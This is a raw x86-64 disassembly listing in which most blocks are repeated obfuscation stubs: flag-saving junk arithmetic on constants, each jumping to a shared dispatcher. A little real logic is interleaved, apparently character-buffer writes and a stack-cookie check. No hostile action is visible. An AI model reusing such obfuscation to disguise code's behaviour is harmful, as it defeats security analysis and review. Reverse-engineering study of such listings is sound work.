add eax, 0xc3aa278c
xor eax, 0xe99aca2e
rol eax, 0xf7
popf
pushf
not eax
add eax, 0x9f67feea
xor eax, 0x87b408f4
rol eax, 0x37
popf
pushf
not eax
add eax, 0x8295f7c2
xor eax, 0xec987c78
rol eax, 0xdc
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0x1d766692
pushf
not eax
add eax, 0xebeb631f
xor eax, 0xfaa15d22
rol eax, 0x48
popf
pushf
not eax
add eax, 0xb9abd800
xor eax, 0xb5d7626c
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xdf69de70
xor eax, 0x96992b8d
rol eax, 0x51
popf
pushf
not eax
add eax, 0xe0f4b0a6
xor eax, 0xc26a7a7a
rol eax, 0xe7
popf
jmp 0x1403852a5
add dword [rbx + 0x20], r12d
jmp 0x1403883e4
or dword [rbx + 0x20], 0xffffffff
jmp 0x1403883e4
add dword [rbx + 0x20], r12d
add qword [rcx + 0x10], r12
mov rax, qword [r14]
mov rcx, qword [rax]
mov word [rcx], dx
mov rax, qword [r14]
add qword [rax], 2
push rax
pushf
mov eax, 0x9d720eee
pushf
not eax
add eax, 0xf6907d09
xor eax, 0xe5816365
rol eax, 0x7b
popf
pushf
not eax
add eax, 0xd0fd6ebb
xor eax, 0xbb1c9f7f
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xd621727b
xor eax, 0xefc45c1a
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xf797a9af
xor eax, 0xe3e48bad
rol eax, 0xbd
popf
jmp 0x1403852a5
push r8
not r8
sub r15, r8
pop r8
sub r15, 1
push r12
not r12d
sub ebp, r12d
pop r12
sub ebp, 1
cmp ebp, dword [rbx + 0x48]
jne 0x14038844a
push rax
pushf
mov eax, 0x9a97d896
pushf
not eax
add eax, 0xf8320370
xor eax, 0xa372decc
rol eax, 0x69
popf
pushf
not eax
add eax, 0xc9a37b6d
xor eax, 0xe937d646
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xd8e4e80c
xor eax, 0x9bc97db9
rol eax, 0xf5
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0xf7a477c8
pushf
not eax
add eax, 0xde4cad92
xor eax, 0xf7a3ec36
rol eax, 0xd0
popf
pushf
not eax
add eax, 0x8dec35f0
xor eax, 0xbe7d2448
rol eax, 0xfb
popf
pushf
not eax
add eax, 0xe6493325
xor eax, 0xbea7d3ad
rol eax, 0x9e
popf
pushf
not eax
add eax, 0x861abc88
xor eax, 0xf73be4ff
rol eax, 0x9f
popf
jmp 0x1403852a5
xor ebp, ebp
push rax
pushf
mov eax, 0x1bf567c0
pushf
not eax
add eax, 0xb504e68a
xor eax, 0xeed6bb93
rol eax, 0x2f
popf
pushf
not eax
add eax, 0xc341393d
xor eax, 0xe0befd50
rol eax, 0x11
popf
jmp 0x1403852a5
mov r13d, 0x6b6cd21a
pushf
not r13d
add r13d, 0xa27fb048
xor r13d, 0xe08f20cd
rol r13d, 0xc6
popf
pushf
not r13d
add r13d, 0xcc56dfd2
xor r13d, 0xe5d7279c
rol r13d, 0x4d
popf
push rax
pushf
mov eax, 0xbd255096
pushf
not eax
add eax, 0xaef118a3
xor eax, 0xd69e8d6a
rol eax, 0xe
popf
pushf
not eax
add eax, 0xd7472132
xor eax, 0x994fbb0a
rol eax, 0xff
popf
pushf
not eax
add eax, 0xf292ccf3
xor eax, 0x98f7fc6f
rol eax, 0x8b
popf
pushf
not eax
add eax, 0x98c3fbc0
xor eax, 0xe66ebcba
rol eax, 0x5b
popf
jmp 0x1403852a5
mov ecx, dword [rdi]
test ecx, ecx
js 0x1403885a2
push rax
pushf
mov eax, 0x9d2db55b
pushf
not eax
add eax, 0x8e43433e
xor eax, 0xf45ca4e1
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xf48ec3f0
xor eax, 0xb37571a5
rol eax, 0x2f
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0x7add0625
pushf
not eax
add eax, 0x98dbebcb
xor eax, 0xdcb76dd1
rol eax, 0x3b
popf
pushf
not eax
add eax, 0x9846a4d2
xor eax, 0xf23c428e
rol eax, 0x3a
popf
jmp 0x1403852a5
mov eax, dword [rbx + 0x28]
shr eax, 2
test r12b, al
je 0x140388639
push rax
pushf
mov eax, 0xe479c32c
pushf
not eax
add eax, 0xdfd8bda1
xor eax, 0x90c91060
rol eax, 0x20
popf
pushf
not eax
add eax, 0xe1052b7a
xor eax, 0xc3ab5102
rol eax, 0x73
popf
pushf
not eax
add eax, 0x99df405e
xor eax, 0xb94ac946
rol eax, 0xb0
popf
pushf
not eax
add eax, 0xe573ac96
xor eax, 0xff07fcaa
rol eax, 0x88
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0x767960e7
pushf
not eax
add eax, 0xe622a82f
xor eax, 0x85c85204
rol eax, 0xb4
popf
pushf
not eax
add eax, 0xef465fb8
xor eax, 0x83ad1c63
rol eax, 0x1b
popf
pushf
not eax
add eax, 0x8bb82b6d
xor eax, 0xff356ec7
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xe1d31b00
xor eax, 0xa40dce11
rol eax, 0x94
popf
jmp 0x1403852a5
mov r8d, ebp
test esi, esi
jle 0x1403886df
push rax
pushf
mov eax, 0xcd0f654e
pushf
not eax
add eax, 0xb60ca26c
xor eax, 0xf5ece321
rol eax, 0x93
popf
pushf
not eax
add eax, 0xf30ab44f
xor eax, 0x88a8d0fb
rol eax, 0x6b
popf
pushf
not eax
add eax, 0x97e5da57
xor eax, 0xa00bfe0a
rol eax, 0xe9
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0x705a149e
pushf
not eax
add eax, 0x96d96d3a
xor eax, 0x914333d5
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xf5074292
xor eax, 0xa60400ca
rol eax, 0xa1
popf
pushf
not eax
add eax, 0x9b14575d
xor eax, 0xc0f5c980
rol eax, 0x10
popf
pushf
not eax
add eax, 0xe405f208
xor eax, 0xbda4a55d
rol eax, 0x64
popf
jmp 0x1403852a5
mov rdx, qword [r14]
mov rax, qword [rdx + 8]
cmp qword [rdx + 0x10], rax
jne 0x140388778
push rax
pushf
mov eax, 0x5d29ec3a
pushf
not eax
add eax, 0x9bd5a94d
xor eax, 0xf5e910d2
rol eax, 0xb9
popf
pushf
not eax
add eax, 0xe7877305
xor eax, 0x9df0edab
rol eax, 0x45
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0xc033c2f9
pushf
not eax
add eax, 0x813c46e8
xor eax, 0x8f8e04c5
rol eax, 0x7c
popf
pushf
not eax
add eax, 0xa360b116
xor eax, 0xee4ac8a3
rol eax, 0x91
popf
jmp 0x1403852a5
cmp byte [rdx + 0x18], bpl
je 0x14038880a
push rax
pushf
mov eax, 0xef75fafc
pushf
not eax
add eax, 0xdaf17465
xor eax, 0xf506e97c
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xa74b01bb
xor eax, 0xf923149a
rol eax, 0xa4
popf
pushf
not eax
add eax, 0xf85fcdb7
xor eax, 0xdfaf9c8e
rol eax, 0x2c
popf
pushf
not eax
add eax, 0x8fb072e0
xor eax, 0xaff48f48
rol eax, 0x7d
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0x7c02a54b
pushf
not eax
add eax, 0xfa104371
xor eax, 0xa0115523
rol eax, 0x5e
popf
pushf
not eax
add eax, 0xa4188228
xor eax, 0xeeef6fc6
rol eax, 0xde
popf
pushf
not eax
add eax, 0x92d97c51
xor eax, 0xbb9b4ed5
rol eax, 0x4f
popf
pushf
not eax
add eax, 0xfbea9494
xor eax, 0x86abffc2
rol eax, 0xca
popf
jmp 0x1403852a5
inc ecx
jmp 0x14038899d
or dword [rbx + 0x20], 0xffffffff
jmp 0x1403884a3
mov rax, qword [rbx + 8]
mov r9, rdi
mov r8d, dword [rbx + 0x48]
mov rcx, r14
mov rdx, qword [rbx + 0x40]
mov qword [rsp + 0x20], rax
call fcn.1401495ea
jmp 0x140388569
or ecx, 0xffffffff
push rax
pushf
mov eax, 0xdf06834a
pushf
not eax
add eax, 0xb0d7b2e3
xor eax, 0xffae66ec
rol eax, 0x35
popf
pushf
not eax
add eax, 0xce9399a4
xor eax, 0xac8dc9ba
rol eax, 0x2b
popf
jmp 0x1403852a5
mov dword [rdi], ecx
jmp 0x140388a26
lea eax, [rcx + 1]
mov dword [rdi], eax
add qword [rdx + 0x10], r12
mov rax, qword [r14]
mov rcx, qword [rax]
mov word [rcx], r13w
mov rax, qword [r14]
add qword [rax], 2
mov ecx, dword [rdi]
push rax
pushf
mov eax, 0xe4c19a97
pushf
not eax
add eax, 0xd5967e64
xor eax, 0xd5a967ef
rol eax, 0x57
popf
pushf
not eax
add eax, 0xf899d90c
xor eax, 0xe7071c29
rol eax, 0xfc
popf
jmp 0x1403852a5
cmp ecx, 0xffffffff
je 0x140388a84
push rax
pushf
mov eax, 0xb0659b80
pushf
not eax
add eax, 0xbde6e842
xor eax, 0xf838e701
rol eax, 0xf2
popf
pushf
not eax
add eax, 0x80580dd2
xor eax, 0xc99e4e8f
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xea0505b5
xor eax, 0x892d6935
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xbcbf46f4
xor eax, 0xa6b94dc3
rol eax, 0x42
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0x23d6fcf0
pushf
not eax
add eax, 0xcc3ef32c
xor eax, 0xad032b36
rol eax, 0x73
popf
pushf
not eax
add eax, 0xadfca3d3
xor eax, 0xf6c32ee3
rol eax, 0x57
popf
pushf
not eax
add eax, 0xa05d5016
xor eax, 0xeaa427c2
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xe20d91d4
xor eax, 0x951d1cdb
rol eax, 0x82
popf
jmp 0x1403852a5
push r12
not r12d
sub r8d, r12d
pop r12
sub r8d, 1
cmp r8d, esi
jl 0x140388b36
push rax
pushf
mov eax, 0xe1ba15af
pushf
not eax
add eax, 0x8ae94762
xor eax, 0xf6e725dc
rol eax, 0x55
popf
pushf
not eax
add eax, 0xbeba5d8b
xor eax, 0xc1903ab7
rol eax, 0x7b
popf
pushf
not eax
add eax, 0xd1c0f956
xor eax, 0xd3950664
rol eax, 0x4e
popf
jmp 0x1403852a5
push rax
pushf
mov eax, 0xa4320ce5
pushf
not eax
add eax, 0x83ad4610
xor eax, 0x9684c892
rol eax, 0xc7
popf
pushf
not eax
add eax, 0x9a15b7e4
xor eax, 0x9a1cdb03
rol eax, 0x7f
popf
jmp 0x1403852a5
mov al, r12b
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14027ae25
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret